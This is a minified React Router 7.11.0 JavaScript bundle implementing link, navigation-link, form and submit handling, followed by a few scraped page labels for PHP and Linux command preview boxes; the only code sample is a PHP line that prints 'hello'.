_t(e,t,n).then(l=>{a||o(l)}),()=>{a=!0}},[e,t,n]),r}function Gt({page:e,matches:t,...n}){let r=T(),{manifest:o,routeModules:a}=$e(),{basename:l}=Le(),{loaderData:u,matches:s}=Jt(),c=i.useMemo(()=>fe(e,t,s,o,r,"data"),[e,t,s,o,r]),f=i.useMemo(()=>fe(e,t,s,o,r,"assets"),[e,t,s,o,r]),d=i.useMemo(()=>{if(e===r.pathname+r.search+r.hash)return[];let v=new Set,R=!1;if(t.forEach(g=>{var p;let w=o.routes[g.route.id];!w||!w.hasLoader||(!c.some(b=>b.route.id===g.route.id)&&g.route.id in u&&((p=a[g.route.id])!=null&&p.shouldRevalidate)||w.hasClientLoader?R=!0:v.add(g.route.id))}),v.size===0)return[];let m=Ut(e,l,"data");return R&&v.size>0&&m.searchParams.set("_routes",t.filter(g=>v.has(g.route.id)).map(g=>g.route.id).join(",")),[m.pathname+m.search]},[l,u,r,o,c,t,e,a]),h=i.useMemo(()=>Ht(f,o),[f,o]),y=Yt(f);return i.createElement(i.Fragment,null,d.map(v=>i.createElement("link",{key:v,rel:"prefetch",as:"fetch",href:v,...n})),h.map(v=>i.createElement("link",{key:v,rel:"modulepreload",href:v,...n})),y.map(({key:v,link:R})=>i.createElement("link",{key:v,nonce:n.nonce,...R})))}function qt(...e){return t=>{e.forEach(n=>{typeof n=="function"?n(t):n!=null&&(n.current=t)})}}var Xt=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u";try{Xt&&(window.__reactRouterVersion="7.11.0")}catch{}function fn({basename:e,children:t,unstable_useTransitions:n,window:r}){let o=i.useRef();o.current==null&&(o.current=Fe({window:r,v5Compat:!0}));let a=o.current,[l,u]=i.useState({action:a.action,location:a.location}),s=i.useCallback(c=>{n===!1?u(c):i.startTransition(()=>u(c))},[n]);return i.useLayoutEffect(()=>a.listen(s),[a,s]),i.createElement($t,{basename:e,children:t,location:l.location,navigationType:l.action,navigator:a,unstable_useTransitions:n})}var ke=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Te=i.forwardRef(function({onClick:t,discover:n="render",prefetch:r="none",relative:o,reloadDocument:a,replace:l,state:u,target:s,to:c,preventScrollReset:f,viewTransition:d,unstable_defaultShouldRevalidate:h,...y},v){let{basename:R,unstable_useTransitions:m}=i.useContext(P),g=typeof c=="string"&&ke.test(c),w=ge(c,R);c=w.to;let p=dt(c,{relative:o}),[b,x,L]=Vt(r,y),N=tn(c,{replace:l,state:u,target:s,preventScrollReset:f,relative:o,viewTransition:d,unstable_defaultShouldRevalidate:h,unstable_useTransitions:m});function O(U){t&&t(U),U.defaultPrevented||N(U)}let D=i.createElement("a",{...y,...L,href:w.absoluteURL||p,onClick:w.isExternal||a?t:O,ref:qt(v,x),target:s,"data-discover":!g&&n==="render"?"true":void 0});return b&&!g?i.createElement(i.Fragment,null,D,i.createElement(Kt,{page:p})):D});Te.displayName="Link";var Qt=i.forwardRef(function({"aria-current":t="page",caseSensitive:n=!1,className:r="",end:o=!1,style:a,to:l,viewTransition:u,children:s,...c},f){let d=H(l,{relative:c.relative}),h=T(),y=i.useContext(V),{navigator:v,basename:R}=i.useContext(P),m=y!=null&&ln(d)&&u===!0,g=v.encodeLocation?v.encodeLocation(d).pathname:d.pathname,w=h.pathname,p=y&&y.navigation&&y.navigation.location?y.navigation.location.pathname:null;n||(w=w.toLowerCase(),p=p?p.toLowerCase():null,g=g.toLowerCase()),p&&R&&(p=k(p,R)||p);const b=g!=="/"&&g.endsWith("/")?g.length-1:g.length;let x=w===g||!o&&w.startsWith(g)&&w.charAt(b)==="/",L=p!=null&&(p===g||!o&&p.startsWith(g)&&p.charAt(g.length)==="/"),N={isActive:x,isPending:L,isTransitioning:m},O=x?t:void 0,D;typeof r=="function"?D=r(N):D=[r,x?"active":null,L?"pending":null,m?"transitioning":null].filter(Boolean).join(" ");let U=typeof a=="function"?a(N):a;return i.createElement(Te,{...c,"aria-current":O,className:D,ref:f,style:U,to:l,viewTransition:u},typeof s=="function"?s(N):s)});Qt.displayName="NavLink";var Zt=i.forwardRef(({discover:e="render",fetcherKey:t,navigate:n,reloadDocument:r,replace:o,state:a,method:l=j,action:u,onSubmit:s,relative:c,preventScrollReset:f,viewTransition:d,unstable_defaultShouldRevalidate:h,...y},v)=>{let{unstable_useTransitions:R}=i.useContext(P),m=an(),g=on(u,{relative:c}),w=l.toLowerCase()==="get"?"get":"post",p=typeof u=="string"&&ke.test(u),b=x=>{if(s&&s(x),x.defaultPrevented)return;x.preventDefault();let L=x.nativeEvent.submitter,N=(L==null?void 0:L.getAttribute("formmethod"))||l,O=()=>m(L||x.currentTarget,{fetcherKey:t,method:N,navigate:n,replace:o,state:a,relative:c,preventScrollReset:f,viewTransition:d,unstable_defaultShouldRevalidate:h});R&&n!==!1?i.startTransition(()=>O()):O()};return i.createElement("form",{ref:v,method:w,action:g,onSubmit:r?s:b,...y,"data-discover":!p&&e==="render"?"true":void 0})});Zt.displayName="Form";function en(e){return`${e} must be used within a data router. See https://reactrouter.com/en/main/routers/picking-a-router.`}function Ne(e){let t=i.useContext(I);return E(t,en(e)),t}function tn(e,{target:t,replace:n,state:r,preventScrollReset:o,relative:a,viewTransition:l,unstable_defaultShouldRevalidate:u,unstable_useTransitions:s}={}){let c=be(),f=T(),d=H(e,{relative:a});return i.useCallback(h=>{if(Ot(h,t)){h.preventDefault();let y=n!==void 0?n:A(f)===A(d),v=()=>c(e,{replace:y,state:r,preventScrollReset:o,relative:a,viewTransition:l,unstable_defaultShouldRevalidate:u});s?i.startTransition(()=>v()):v()}},[f,c,d,n,r,t,e,o,a,l,u,s])}var nn=0,rn=()=>`__${String(++nn)}__`;function an(){let{router:e}=Ne("useSubmit"),{basename:t}=i.useContext(P),n=bt(),r=e.fetch,o=e.navigate;return i.useCallback(async(a,l={})=>{let{action:u,method:s,encType:c,formData:f,body:d}=Mt(a,t);if(l.navigate===!1){let h=l.fetcherKey||rn();await r(h,n,l.action||u,{unstable_defaultShouldRevalidate:l.unstable_defaultShouldRevalidate,preventScrollReset:l.preventScrollReset,formData:f,body:d,formMethod:l.method||s,formEncType:l.encType||c,flushSync:l.flushSync})}else await o(l.action||u,{unstable_defaultShouldRevalidate:l.unstable_defaultShouldRevalidate,preventScrollReset:l.preventScrollReset,formData:f,body:d,formMethod:l.method||s,formEncType:l.encType||c,replace:l.replace,state:l.state,fromRouteId:n,flushSync:l.flushSync,viewTransition:l.viewTransition})},[r,o,t,n])}function on(e,{relative:t}={}){let{basename:n}=i.useContext(P),r=i.useContext(S);E(r,"useFormAction must be used inside a RouteContext");let[o]=r.matches.slice(-1),a={...H(e||".",{relative:t})},l=T();if(e==null){a.search=l.search;let u=new URLSearchParams(a.search),s=u.getAll("index");if(s.some(f=>f==="")){u.delete("index"),s.filter(d=>d).forEach(d=>u.append("index",d));let f=u.toString();a.search=f?`?${f}`:""}}return(!e||e===".")&&o.route.index&&(a.search=a.search?a.search.replace(/^\?/,"?index&"):"?index"),n!=="/"&&(a.pathname=a.pathname==="/"?n:$([n,a.pathname])),A(a)}function ln(e,{relative:t}={}){let n=i.useContext(Re);E(n!=null,"`useViewTransitionState` must be used within `react-router-dom`'s `RouterProvider`. Did you accidentally import `RouterProvider` from `react-router`?");let{basename:r}=Ne("useViewTransitionState"),o=H(e,{relative:t});if(!n.isTransitioning)return!1;let a=k(n.currentLocation.pathname,r)||n.currentLocation.pathname,l=k(n.nextLocation.pathname,r)||n.nextLocation.pathname;return J(o.pathname,l)!=null||J(o.pathname,a)!=null}export{fn as H,Te as L,un as N,cn as R,Lt as a,T as u};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD